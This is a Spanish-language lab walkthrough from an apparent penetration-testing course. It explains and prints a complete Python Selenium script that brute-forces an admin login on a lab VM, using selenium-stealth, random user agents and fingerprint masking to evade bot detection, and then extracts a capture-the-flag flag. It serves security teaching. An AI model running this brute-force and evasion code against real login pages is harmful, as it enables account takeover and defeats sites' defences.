XUT_ / COURSES / PENETRATION TESTER

Bypassing Common Security Controls

Selenium es una herramienta de automatización de navegador poderosa usada para el testeo, web scraping, o incluso simular comportamiento de usuario para el pentesting. En esta tarea, desglosaremos cómo nuestro script de Python usa Selenium para automatizar el proceso de login y bypassear controles de seguridad comunes.

Antes de analizar el script, entendamos algunos conceptos esenciales automatizando interacciones web usando Selenium:

  • WebDriver: El WebDriver de Selenium controla el navegador y nos permite navegar páginas, interactuar con elementos y extraer información.
  • Element Identification: Selenium ofrece varios métodos para localizar e interactuar con elementos usando atributos como ID, Name o XPath.
  • Headless Mode: Una forma de ejecutar navegadores sin interfaz gráfica, haciendo la automatización más rápida y eficiente.
  • CSRF Protection: Las aplicaciones web normalmente usan tokens CSRF para prevenir peticiones maliciosas. Como usamos un navegador, el token CSRF es generado dinámicamente y subido con cada petición.
  • Stealth Techniques: Selenium Stealth permite prevenir la detección replicando comportamiento humano y enmascarando huellas automatizadas.

Automatizar el Proceso de Login

La aplicación hosteada valida cada petición de login usando un token CSRF. El objetivo es realizar un ataque de fuerza bruta usando un script basado en Selenium para determinar la contraseña correcta.

Bypassing Common Security Controls

Desglose del Código

El script de Python dado usa Selenium para intentar iniciar sesión usando un diccionario de contraseñas. Debajo está el desglose:

Paso 1 - Importar las Librerías Necesarias

python
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium_stealth import stealth

import time
import logging
from fake_useragent import UserAgent
  • Selenium WebDriver controla el navegador Chrome para la automatización.
  • selenium_stealth es usado para prevenir detección de bots.
  • fake_useragent genera huellas de navegador realistas para evitar la detección.

Paso 2 - Configurar el Navegador

El navegador es configurado usando varias opciones de Chrome para eficiencia y sigilo óptimos:

python
options = Options()
ua = UserAgent()
userAgent = ua.random
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument("start-maximized")
options.add_argument(f'user-agent={userAgent}')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')
  • --no-sandbox: Previene a Chrome de usar el modo sandbox.
  • --headless: Ejecuta Chrome sin interfaz de usuario gráfica, haciéndolo más rápido y eficiente.
  • start-maximized: Asegura que el navegador está maximizado, previniendo problemas con layouts responsivos.
  • f'user-agent={userAgent}': Genera un user agent aleatorio, ayudando al script a evadir detección.
  • --disable-dev-shm-usage: Previene limitaciones de memoria en contenedores Docker.
  • --disable-cache: Asegura que el navegador haga fetch de información fresca en cada intento.

Paso 3 - Implementar Técnicas de Sigilo

Para prevenir detección, el script usa selenium-stealth, el cual modifica el comportamiento del navegador para replicar a un usuario legítimo.

python
stealth(chrome,
    languages=["en-US", "en"],
    vendor="Google Inc.",
    platform="Win32",
    webgl_vendor="Intel Inc.",
    renderer="Intel Iris OpenGL Engine",
    fix_hairline=True,
)
  • Languages and Vendor: Replica un lenguaje de navegador y configuración de vendor.
  • WebGL Vendor y Renderer: Enmascara los detalles de GPU para evitar detección a través del fingerprinting.
  • Fix Hairline: Arregla las discrepancias de renderizado que podrían indicar modo headless.

Realizar el Ataque de Fuerza Bruta

El script usa Selenium para intentar iniciar sesión usando una lista de contraseñas. Aquí está cómo funciona:

python
ip = 'http://SECOND_VM_IP/labs/lab1/'
login_url = f'{ip}/index.php'
dashboard_url = f'{ip}/dashboard.php'

username = "admin"
passwords = ["123456", "admin", "letmein", "pass123", "password"]
  • Target URL: La URL del login de la aplicación y del dashboard son definidas.
  • Username: El nombre de usuario admin es usado para todos los intentos.
  • Password List: Es una lista de contraseñas habituales usada para la fuerza bruta.

Paso 1 - Subida de Formulario

Cada contraseña es subida usando el método de Selenium find_element():

python
chrome.get(login_url)
time.sleep(0.5)

chrome.find_element(By.NAME, "username").send_keys(username)
chrome.find_element(By.NAME, "password").send_keys(password)
chrome.find_element(By.TAG_NAME, "form").submit()
  • chrome.get(): Carga la página de login.
  • .find_element(): Localiza los campos de introducción de usuario y contraseña usando su atributo name.
  • .send_keys(): Simula teclear en los campos.
  • .submit(): Sube el formulario.

Paso 2 - Validar Intentos de Login

Después de subir el formulario, el script busca login exitoso verificando si el navegador fue redirigido al dashboard:

python
if dashboard_url in chrome.current_url:
    print(f"[+] Login successful with password: {password}")
    flag_element = chrome.find_element(By.TAG_NAME, "p")
    flag = flag_element.text.strip()
    print(f"[+] {flag}")
    break
else:
    print(f"[-] Failed login with: {password}")
  • URL Check: Si la URL actual coincide con la dashboard_url el script asume que el login fue exitoso.
  • Extracting Flag: Después de un login exitoso, el script extrae e imprime la flag usando find_element().

Código Completo

Este es el código completo para la resolución:

python
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium_stealth import stealth

import time
import logging
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
options.add_argument('--no-sandbox')
options.add_argument('--headless')
options.add_argument("start-maximized")
options.add_argument(f'user-agent={userAgent}')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-cache')
options.add_argument('--disable-gpu')

options.binary_location = "/usr/bin/google-chrome"
service = Service(executable_path='chromedriver-linux64/chromedriver')
chrome = webdriver.Chrome(service=service, options=options)

stealth(chrome,
    languages=["en-US", "en"],
    vendor="Google Inc.",
    platform="Win32",
    webgl_vendor="Intel Inc.",
    renderer="Intel Iris OpenGL Engine",
    fix_hairline=True,
)

# CONFIG
ip = 'http://10.10.234.138/labs/lab1/'
login_url = f'{ip}/index.php'
dashboard_url = f'{ip}/dashboard.php'

# Credentials to brute-force
username = "admin"
passwords = ["123456", "admin", "letmein", "pass123", "password"]  # Replace with file if needed

# Loop over passwords
for password in passwords:
    chrome.get(login_url)
    time.sleep(0.5)

    # Grab CSRF token
    #csrf = chrome.find_element(By.NAME, "csrf_token").get_attribute("value")

    # Fill out login form
    chrome.find_element(By.NAME, "username").send_keys(username)
    chrome.find_element(By.NAME, "password").send_keys(password)
    #chrome.find_element(By.NAME, "csrf_token").send_keys(csrf)
    chrome.find_element(By.TAG_NAME, "form").submit()

    time.sleep(0.5)

    # Check if login successful (simple way)
    if dashboard_url in chrome.current_url:
        print(f"[+] Login successful with password: {password}")
        flag_element = chrome.find_element(By.TAG_NAME, "p")
        flag = flag_element.text.strip()
        print(f"[+] {flag}")
        break
    else:
        print(f"[-] Failed login with: {password}")

chrome.quit()